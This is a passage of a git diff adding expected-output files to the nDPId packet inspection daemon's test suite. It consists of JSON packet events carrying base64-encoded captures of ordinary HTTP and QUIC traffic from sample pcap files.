+00430{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":610101,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AAAAAAAAAAIA\/tPQCABFAAA2AABAADcRl+nT95Nau+OImAG72DwAIq39R6uuCjxHGkBJStQaHqeeubIHjjaMZeIi9hw="} +01234{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":610128,"pkt_caplen":658,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":658,"pkt_l4_len":624,"pkt":"AAAAAAAAAAIA\/tPQCABFAAKEAABAADcRlZvT95Nau+OImAG72DwCcHA7Vg1KC3MGTMh7pmVhCPQB0FThGFai+zqJf\/iNeMdqeX1xNZl\/wDgF3c88LENJ3QeHE3fp4faARsBHniXcly4vlV2KMGlwK7pKksHy1NQ+0OCXbYf+PWXGdDq\/kO9W0lQVfDrcNI9u4mlO0WwYDkPpwmM+XezXFv9BFDlIHC7A3snus\/vfivFPVlC3\/4BAwe0\/J6NIuSM5XmJjCp0I+jiI54LYiNtuYnovrYeKnXbOpjlP4h88L8AvFOGh\/i52Rf+4YGJoWcWfQq6dah+Uqxwpa0pxhjXSRAP4l9Ia80mNqgOSax9W6kKy+CX9B0ECqRgyJWiqMpxfGCWxtCDwqj6g3JqylHXK21RQcJ66w1+v7dnMaPXA1HuoN3vj0tqXckw5O0KiO4qmwFl6nc8ThxDHKyj6Fc8J8ILgJP\/QF+qCZUvQXVuLSxZf58dOzdSvQT2xCEyGmOoXXQtw6ijBD89c4cBe1gYwBbVdIe1N9knR2GP0mUbhDL03M5OdbDRhk7sTjGcSv6sN7upXt5Cj7S2\/j9EI0sT3tR88o\/YYPv9y4jrJa\/ZUbuvG2LQk+JslFgGqczTRsw3JKgsB+Qv\/3A+NJsvNyO+P7eU\/fQ0uEM2ylUvdyyCS0+osIW7KSA7WGLK5YK7tBSKz1L0D4WzPTR5Cfgw7bsyhNWJc9q9DG3fdyOVDuRyxVTEEGQQjzZDeCFZR63Ew6mcxpij7i2sYSAmQ3lq7G9hxT+PVjEdINlcf5XD963sdUcxoKNMdTNxdPffFrxkoWOFwTKWJsYdjUh22syX8w9tUvD4ajBmoYEUMXtnSN+zt2Hdu8g=="} +00439{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":650828,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"AAAAAAAAAAgAH83gCABFAAA9XvFAAH8R8PC744iY0\/eTWtg8AbsAKSGnV\/+UFbWwBYYNEnSd3Y5RBhW4pf4JeCz7Hm8B+kilTWZY"} +01703{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620444,"pkt_ts_usec":741690,"pkt_caplen":1003,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1003,"pkt_l4_len":969,"pkt":"AAAAAAAAAAgAH83gCABFAAPdcT9AAH8R2wK744iY0\/eTWtg8AbsDyTLtSv+UFbWwBYYN6efgT9I73SyBwONu481j8\/zASvL+fjCvoR+DcLF\/rAd5QmwWVSD2eyQAFcX6IS6cbXnvHs6nn6J4E9sg0Y7bqGGiAKCBjgoPJPLr8Hf9Z2kD+LsCIMnY7\/gdbSrq4PXzclVr\/jfxzdV3CGE1qoMAMUTfCfjUfHcGb9BZe+dDzKedokSqOQS\/\/z1J6XdaEvwBX0HOgZq5iv6UkaKR6Ry5KuLe2v1krmKzrU72UMF4tHKx6fmHV7RpdezqWVOx4NNJ9XhYGfrYbrCyC\/oNFWzdN5shFLzqXyeFHpUA2nQUNeUi84qFqf+xzDZSDC1RugmjtDtUtiCoQt+bhH0vtnxLtL2k6LwLEKWe2SeS7fsch9ehFKg+Bx7FCf8JFIJg5htDaWJdutmg\/+6kInLorffPRXNQmoIs\/BSaKmr2Gp8v6\/8MxG5KCcwstmJvrjT2xQkIt2Ft3s0S2VSESvrCtFBBOlQZqN7nSBYIAaQ6gvmaLFLcAq+c+QSCCaLs9Cb9lBWmjV\/6VgEiCFbScR+KbCeoBpmpAs1MYEcF1Poo7zFGkZPa7k+cY7ju7YJORt7zMN6EgTsCUtgQQ42FEwOPUzlWWfw4q00kfsDmSUz2ub4AwPGiz6AzDzq\/8IKlnog6yjUpB0LipQiYTMDxyVFSV1KbOJYBC6LqIv5qEycbIlgwCGhyyW+pXXGfxcRnZxVNHK6rHjFfpkzYD0Gz5lEa52Tgplz04DrSHqAcfvpAlA6cCTGCK4VIVA7LHhL7cUu1UqKdNKPwGxtNzHaOErnVjLQB1AkPPjEWW2aJ5tN0TksLyBc+x1QoBKnFlaRHOx98oDiQFdjeh9Quj9OaOQ35DHcWp0EeroeqFtJhYR6fsc5vFKCPge5CQS1VHBOjSnH0Upji1SoligWI\/P\/q919hiaOTgdtmIGoKWkxgucd\/\/6msRaSHQXE5WFr+DESsmittJ3gC\/6M1aRWs5cVag4wnNinz+MEhs\/y90V38kKN8iCPltwiAIV9lmTvkWc3jmY43MHawefBUS2zDcUNDnA32lXUntW\/JSiQSxqwCUzhY59CDs16HJJ2zhWaye42HAcIu\/go2UuXWDDrQSVzP40+kRKKLQZt9HTNCbdiy5CLIFl9QkcvzGRUF2eo4ylCABg6iLJ7SJ537DedAeBDNDGPFftSQWNhjQ7tYaPB9GmJYsST29YvJiYz7S7GmW21+OVn9EirdOPOoNFHZl6yKBlfYD3sUcGnhd1uncf+8eU9ExbIBjXwe5Et6egrdJQ=="} +00430{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620444,"pkt_ts_usec":772415,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"AAAAAAAAAAIA\/tPQCABFAAA1AABAADkRlerT95Nau+OImAG72DwAIUhtTWVlkzIZ1l5MiO32g9qa7cckVPUetSXxvA=="} +01265{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620445,"pkt_ts_usec":18622,"pkt_caplen":682,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":682,"pkt_l4_len":648,"pkt":"AAAAAAAAAAIA\/tPQCABFAAKcAABAADkRk4PT95Nau+OImAG72DwCiLkRRUQ\/6vkZVV\/ROzhbKeoRReCXAsU2A9sjDcWKUpUKE20+JfmKTS5epz37+ogCTB3O0gMCMzVDnFdaJcS6+BN05F\/4JuxKu4G1tpzczS9sm8YNK\/yKXdRv4mVvdoxmRlg3UOh2\/HXmM4zkHZRGDq5gvf1YtAZn9UT7LsL3ba43Q8SnB+rUVySuu7l1RHkrEWg8uyOET5mlnXLlWR9Grc3kARdxeBr1\/WcmPSnvrZSLx1Yubftvk4neBnd4+d5h0uJVaP+xEQf1a8mwYApxdilAfGbuHGI1b3p\/3kL4nnq3IJOuSSNOnomgt9UYIYG6JkTs88ZO0WDXcKQgHSWiD3S5b55ck0VFoMVGi6XvxaS5dDL7irZqR+xUbIGJU+5KmsKgfA7I8vhbhlBInT22prpicg+aHmV2Mfe\/D32ni\/2JKthXhSWWTVnEZBANDcgGYP\/4NUgVhBiqDrAFYNnh4TpROEqCcVxLVLryNrzUeH7QkEbcjWfjgc1iq2O3xKKvNnDVO7PiKnn323eZoAEB9oWFA9G1nVAQC23JJC+CnKPFPChKEXym9Dh4Orny9OuAnT2rnxyfNcQUzTUgHDT2V7VEjBNfPreDUCXxeu5gdY1osBS40zZnHQbiRnLlaoi5GCT3tnzL3T1LFfAUmB7xQ9GiiYxgRwyuSbp3f6GcUujaHRbjguLy26pc3INccugl0f1At7jIrf9EqyuaS7XaakX31gYDzEUt04O8Omx3QUnvBZgydp7VVVYOZXv\/1GYhCscRuXdM5GQHqnPBMCwk9Y4VH2nkD7iDBE4uvSjbXU9u9lIbiPNzYqPtOVbqx\/o\/Bmq+eYkSeas+WHpkMkc3YMCicg=="} diff --git a/test/results/quickplay.pcap.out b/test/results/quickplay.pcap.out new file mode 100644 index 000000000..dd8136fe1 --- /dev/null +++ b/test/results/quickplay.pcap.out @@ -0,0 +1,310 @@ +00788{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000030,"pkt_ts_usec":398627,"pkt_caplen":368,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":368,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAWBDAUAAPwaoIQo2qfp4HCMpxewAUEHDiNf6xwiBUBgAc22rAABHRVQgL3NvbHIvUmVzdEFwaVNpbmdUZWxfUEgvcmVzdGFwaS9jYXRlZ29yaWVzL0hVRD9hcGlLZXk9cXdlcnR5JmRldmljZT1hbmRyb2lkbW9iaWxlJmxvY2FsZT1lbmcmbmV0d29yaz1XSUZJJnBhZ2VOdW1iZXI9MSZwYWdlU2l6ZT01MCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogRGFsdmlrLzEuNi4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjQuNDsgTUkgM1cgTUlVSS9WNi40LjIuMC5LWERNSUNCKQ0KSG9zdDogYXBpLXNpbmd0ZWxoYXdrLnF1aWNrcGxheS5jb20NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KDQo="} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +02151{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000030,"pkt_ts_usec":498602,"pkt_caplen":1380,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1380,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcBVSmuUAArQbSWHgcIykKNqn6AFDF7PrHCIFBw4oPUBgIIgJuAABIVFRQLzEuMSAyMDAgT0sNClNlcnZlcjogQXBhY2hlLUNveW90ZS8xLjENCkxhc3QtTW9kaWZpZWQ6IFR1ZSwgMTQgQXByIDIwMTUgMDc6MTg6NTQgR01UDQpFVGFnOiAiWW1JNE1EQXdNREF3TURBd01EQXdNRk52YkhJPSINCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1IZWFkZXJzOiB4LXJlcXVlc3RlZC13aXRoDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1NZXRob2RzOiBQT1NULCBHRVQsIE9QVElPTlMsIERFTEVURQ0KWC1DbmVjdGlvbjogY2xvc2UNCkNhY2hlLUNvbnRyb2w6IHB1YmxpYywgbWF4LWFnZT0xMzg2DQpFeHBpcmVzOiBUdWUsIDE0IEFwciAyMDE1IDA4OjUwOjE2IEdNVA0KRGF0ZTogVHVlLCAxNCBBcHIgMjAxNSAwODoyNzoxMCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbjtjaGFyc2V0PVVURi04DQpDb250ZW50LUxlbmd0aDogNzg1DQoNCh+LCAAAAAAAAADkV89v0zAYve+vsHrgNFDbgUDcyrpuYoyhtfSCOHxNvqZmjh35x0ap+r9jp2mXNIlbzRwQXCr1+17ynv3s+Hl1QgjpLBBilJ33ZOX+uorSoI2ylY4yUYRKdU63rQwS\/GzSWf5Ar1Ie019oi2+6u6oWGtgFwxS5dq87q3a+2Idcueeq67zXSYHyO1TCyAjLkmS95so0diqvvg53CsvgyTJzD3Qi0JgIuayAmIiA5W3kSaUDWssJJK4VowbKVKXNIcUm1hhVJGmmqeB528TkvIn4HpePQsZu5N+eyq7j3vhU+V5+CDnMGA6lyIbikd8gz\/3R0mBVwhwM07dyY2j3Vbf+jkvkEkeU6RwyB6awDvoEPDHWHg\/up0YeYzywk0VnRudOrtYFYr1zeg4R5uaXbUuchtr4V5V\/xVS5qRxEblIH8YNdR8Y+eFoDbj3ZIMkL4gNHwnBt0f1KZ316pBhOU8hN9sjwYMLYz0WK8dJD3QoI4x2KyLhtDNJH7kcFKpCQgo+7pR\/GemnfPl6IR+VhdhjSBgqjvxJSCunhbgWE8V7TWI0gpczntgPZrdaKC5NwA1JTYAOp1TgT9tejpMASB7aKWvFhiu4QGNXLydSjpMCQRlAgvUiBR76vXzsijHkc0REdgd3XyrceLOzliJJ2YJiKyUJSxtC3GzyQMO4pSIp6ecHtaWgTAXcfOY+OAk4O4beielVRLRmAFYfy8QfnXrLZU3nBE0bVwqOr+6zJSmTPw\/pBMGYDkIj\/OO+PzHcmf4QMOCrf7ngerU6Yb0lCAkw02RDGeu89Fq6FRPClj27rijsplYpQbtM95TbKxttkXs6u9Th+Ix4oVjNzYCLPQBZXiEML\/xiiithq5ibtu690K7C7RtM9ibujqD7447J7UzpvxtTC+T6Mm\/R2Pjazsl391\/3tp2+3xOrWTaa1HPMfeTeZkjHKv9K+3tuzw+65QOa1TmUY2Zz07zlXG3mzaS233eddiY+yrf+u\/D3dDK0zF2LzCntfXv8GAAD\/\/wIMAEf8Fz+FEQAA"} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00789{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000030,"pkt_ts_usec":766760,"pkt_caplen":368,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":368,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAWA50EAAPwaxUgo2qfp4HCMpxe0AUOei8\/4RmPGFUBgAc1zOAABHRVQgL3NvbHIvUmVzdEFwaVNpbmdUZWxfUEgvcmVzdGFwaS9jYXRlZ29yaWVzL0hVRD9hcGlLZXk9cXdlcnR5JmRldmljZT1hbmRyb2lkbW9iaWxlJmxvY2FsZT1lbmcmbmV0d29yaz1XSUZJJnBhZ2VOdW1iZXI9MSZwYWdlU2l6ZT01MCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogRGFsdmlrLzEuNi4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjQuNDsgTUkgM1cgTUlVSS9WNi40LjIuMC5LWERNSUNCKQ0KSG9zdDogYXBpLXNpbmd0ZWxoYXdrLnF1aWNrcGxheS5jb20NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KDQo="} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +02151{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000030,"pkt_ts_usec":832282,"pkt_caplen":1380,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1380,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcBVReB0AArQYbC3gcIykKNqn6AFDF7RGY8YXnovU2UBgIIvGQAABIVFRQLzEuMSAyMDAgT0sNClNlcnZlcjogQXBhY2hlLUNveW90ZS8xLjENCkxhc3QtTW9kaWZpZWQ6IFR1ZSwgMTQgQXByIDIwMTUgMDc6MTg6NTQgR01UDQpFVGFnOiAiWW1JNE1EQXdNREF3TURBd01EQXdNRk52YkhJPSINCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1IZWFkZXJzOiB4LXJlcXVlc3RlZC13aXRoDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1NZXRob2RzOiBQT1NULCBHRVQsIE9QVElPTlMsIERFTEVURQ0KWC1DbmVjdGlvbjogY2xvc2UNCkNhY2hlLUNvbnRyb2w6IHB1YmxpYywgbWF4LWFnZT0xMzg2DQpFeHBpcmVzOiBUdWUsIDE0IEFwciAyMDE1IDA4OjUwOjE2IEdNVA0KRGF0ZTogVHVlLCAxNCBBcHIgMjAxNSAwODoyNzoxMCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbjtjaGFyc2V0PVVURi04DQpDb250ZW50LUxlbmd0aDogNzg1DQoNCh+LCAAAAAAAAADkV89v0zAYve+vsHrgNFDbgUDcyrpuYoyhtfSCOHxNvqZmjh35x0ap+r9jp2mXNIlbzRwQXCr1+17ynv3s+Hl1QgjpLBBilJ33ZOX+uorSoI2ylY4yUYRKdU63rQwS\/GzSWf5Ar1Ie019oi2+6u6oWGtgFwxS5dq87q3a+2Idcueeq67zXSYHyO1TCyAjLkmS95so0diqvvg53CsvgyTJzD3Qi0JgIuayAmIiA5W3kSaUDWssJJK4VowbKVKXNIcUm1hhVJGmmqeB528TkvIn4HpePQsZu5N+eyq7j3vhU+V5+CDnMGA6lyIbikd8gz\/3R0mBVwhwM07dyY2j3Vbf+jkvkEkeU6RwyB6awDvoEPDHWHg\/up0YeYzywk0VnRudOrtYFYr1zeg4R5uaXbUuchtr4V5V\/xVS5qRxEblIH8YNdR8Y+eFoDbj3ZIMkL4gNHwnBt0f1KZ316pBhOU8hN9sjwYMLYz0WK8dJD3QoI4x2KyLhtDNJH7kcFKpCQgo+7pR\/GemnfPl6IR+VhdhjSBgqjvxJSCunhbgWE8V7TWI0gpczntgPZrdaKC5NwA1JTYAOp1TgT9tejpMASB7aKWvFhiu4QGNXLydSjpMCQRlAgvUiBR76vXzsijHkc0REdgd3XyrceLOzliJJ2YJiKyUJSxtC3GzyQMO4pSIp6ecHtaWgTAXcfOY+OAk4O4beielVRLRmAFYfy8QfnXrLZU3nBE0bVwqOr+6zJSmTPw\/pBMGYDkIj\/OO+PzHcmf4QMOCrf7ngerU6Yb0lCAkw02RDGeu89Fq6FRPClj27rijsplYpQbtM95TbKxttkXs6u9Th+Ix4oVjNzYCLPQBZXiEML\/xiiithq5ibtu690K7C7RtM9ibujqD7447J7UzpvxtTC+T6Mm\/R2Pjazsl391\/3tp2+3xOrWTaa1HPMfeTeZkjHKv9K+3tuzw+65QOa1TmUY2Zz07zlXG3mzaS233eddiY+yrf+u\/D3dDK0zF2LzCntfXv8GAAD\/\/wIMAEf8Fz+FEQAA"} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00775{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000031,"pkt_ts_usec":75232,"pkt_caplen":358,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":358,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAVYEaUAAPwYE2wo2qfp4HAUSgSgAUG4ezi+GqNXzUBgAc8tUAABHRVQgL3NvbHIvUmVzdEFwaVNpbmdUZWxfUEgvcmVzdGFwaS9ob21lP2FwaUtleT1xd2VydHkmZGV2aWNlPWFuZHJvaWRtb2JpbGUmbG9jYWxlPWVuZyZuZXR3b3JrPVdJRkkmcGFnZU51bWJlcj0xJnBhZ2VTaXplPTUwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBEYWx2aWsvMS42LjAgKExpbnV4OyBVOyBBbmRyb2lkIDQuNC40OyBNSSAzVyBNSVVJL1Y2LjQuMi4wLktYRE1JQ0IpDQpIb3N0OiBhcGktc2luZ3RlbGhhd2sucXVpY2twbGF5LmNvbQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQoNCg=="} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000031,"pkt_ts_usec":382971,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcAF1lCkAArQY3FngcBRIKNqn6AFCBKIapX\/duHs9dUBgIImd7AAD+6U1rdHX+8GWHmWHKf1z0+O1Nfp++87\/dVNV0wP\/9v\/+n\/\/6\/AAAA\/\/8CDAD1QSSgppQFAA=="} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00621{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000031,"pkt_ts_usec":698279,"pkt_caplen":243,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":243,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAOOYfEAAPwb2VQo2qfqt\/EoWzD0AUOQgUs9KX9ElUBgAc0k5AABHRVQgL21vYmlsZS9zdGF0dXMucGhwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBEYWx2aWsvMS42LjAgKExpbnV4OyBVOyBBbmRyb2lkIDQuNC40OyBNSSAzVyBNSVVJL1Y2LjQuMi4wLktYRE1JQ0IpDQpIb3N0OiB3d3cuZmFjZWJvb2suY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANCg0K"} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00749{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000032,"pkt_ts_usec":158423,"pkt_caplen":339,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":339,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcAUNiNkAArAa\/H638ShYKNqn6AFDMPUpf0SXkIFOKUBgIIjgwAABIVFRQLzEuMSAyMDQgTm8gQ29udGVudA0KQ2FjaGUtQ29udHJvbDogcHJpdmF0ZSwgbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNCkVkZ2UtY29udHJvbDogY2FjaGUtbWF4YWdlPTI4ZA0KWC1GQi1EZWJ1ZzogK2R4S1lRRnpNRHhKdjZkUXFVLyt4Yzd1VXVxaHpOK3BWYXpxSzdCUmswUW1oSWIxVEp3YXZ4SDRpUUV1TUVFSDVZdU80TU11R3ErWHlyOGUveHZqV2c9PQ0KRGF0ZTogVHVlLCAxNCBBcHIgMjAxNSAwODoyNzoxMiBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00621{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000037,"pkt_ts_usec":314978,"pkt_caplen":243,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":243,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAONYlEAAPwY2Pgo2qfqt\/EoWzEAAUKq8lHZkd0MeUBg5CHxNAABHRVQgL21vYmlsZS9zdGF0dXMucGhwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBEYWx2aWsvMS42LjAgKExpbnV4OyBVOyBBbmRyb2lkIDQuNC40OyBNSSAzVyBNSVVJL1Y2LjQuMi4wLktYRE1JQ0IpDQpIb3N0OiB3d3cuZmFjZWJvb2suY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANCg0K"} +00162{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00621{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000037,"pkt_ts_usec":600378,"pkt_caplen":241,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":241,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAOEBz0AAPwbyFAo2qfp4HBrngf0AUJlyzTdc8IHSUBgAc3meAABHRVQgL2dlbmVyYXRlXzIwNCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogRGFsdmlrLzEuNi4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjQuNDsgTUkgM1cgTUlVSS9WNi40LjIuMC5LWERNSUNCKQ0KSG9zdDogY2xpZW50czMuZ29vZ2xlLmNvbQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQoNCg=="} +00163{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":10,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000037,"pkt_ts_usec":659613,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcAHlLmEAArQY6l3gcGucKNqn6AFCB\/VzwgdKZcs3wUBgIIqKRAABIVFRQLzEuMSAyMDQgTm8gQ29udGVudA0KRGF0ZTogVHVlLCAxNCBBcHIgMjAxNSAwODoyNzoxNyBHTVQNClNlcnZlcjogR0ZFLzIuMA0KDQo="} +00163{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":11,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} +00751{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"quickplay.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1429000037,"pkt_ts_usec":771704,"pkt_caplen":339,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":339,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcAUMgAkAArQYAVK38ShYKNqn6AFDMQGR3Qx6qvJUxUBj\/\/2USAABIVFRQLzEuMSAyMDQgTm8gQ29udGVudA0KQ2FjaGUtQ29udHJvbDogcHJpdmF0ZSwgbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNCkVkZ2UtY29udHJvbDogY2FjaGUtbWF4YWdlPTI4ZA0KWC1GQi1EZWJ1ZzogSENQcUMxYW5HZGxXZUVqMEIwU3F1MHVIQzU2N3BTRzJERlZvSXdHYmRXNFovN1dydjVhM0ZQZEY5V1FIMDUrNFREZVFXV3FiZjA4djA4c1RURE81VWc9PQ0KRGF0ZTogVHVlLCAxNCBBcHIgMjAxNSAwODoyNzoxNyBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00163{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":12,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} 